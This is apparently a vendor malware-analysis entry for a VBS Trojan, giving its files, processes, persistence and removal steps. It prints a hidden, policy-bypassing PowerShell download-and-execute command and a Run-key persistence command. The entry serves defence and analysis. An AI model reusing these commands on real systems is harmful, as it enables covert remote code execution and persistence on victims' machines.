Analysis by: Bren Matthew Ebriega


Trojan.PSLoader (IKARUS)




  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes


Infection Channel: Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.


File Size: 237,349 bytes
File Type: VBS
Memory Resident: No
Initial Samples Received Date: 29 Jul 2020
Payload: Drops files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.


This Trojan drops the following copies of itself into the affected system:

  • %User Temp%\{malware filename}.vbs

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • %System%\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead($webClient.DownloadString(''));[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull -exit
  • powershell Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value %User Temp%\{malware filename}.vbs

Autostart Technique

This Trojan modifies the following registry entries to ensure it automatic execution at every system startup:

(Default) = %User Temp%\{malware filename}.vbs

It drops the following file(s) in the Windows User Startup folder to enable its automatic execution at every system startup:

  • %User Startup%\{malware filename}.vbs → copy of the malware

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).)


Minimum Scan Engine: 9.850
VSAPI OPR PATTERN File: 16.165.00
VSAPI OPR PATTERN Date: 15 Aug 2020

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

    • Downloader.VBS.TRX.XXVBS82EFF005

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Identify and terminate files detected as Trojan.VBS.MALXMR.THHADBO

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 5

Restore this modified registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • From: (Default) = %User Temp%\{malware filename}.exe
      To: (Default) =

Step 6

Scan your computer with your Trend Micro product to delete files detected as Trojan.VBS.MALXMR.THHADBO. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

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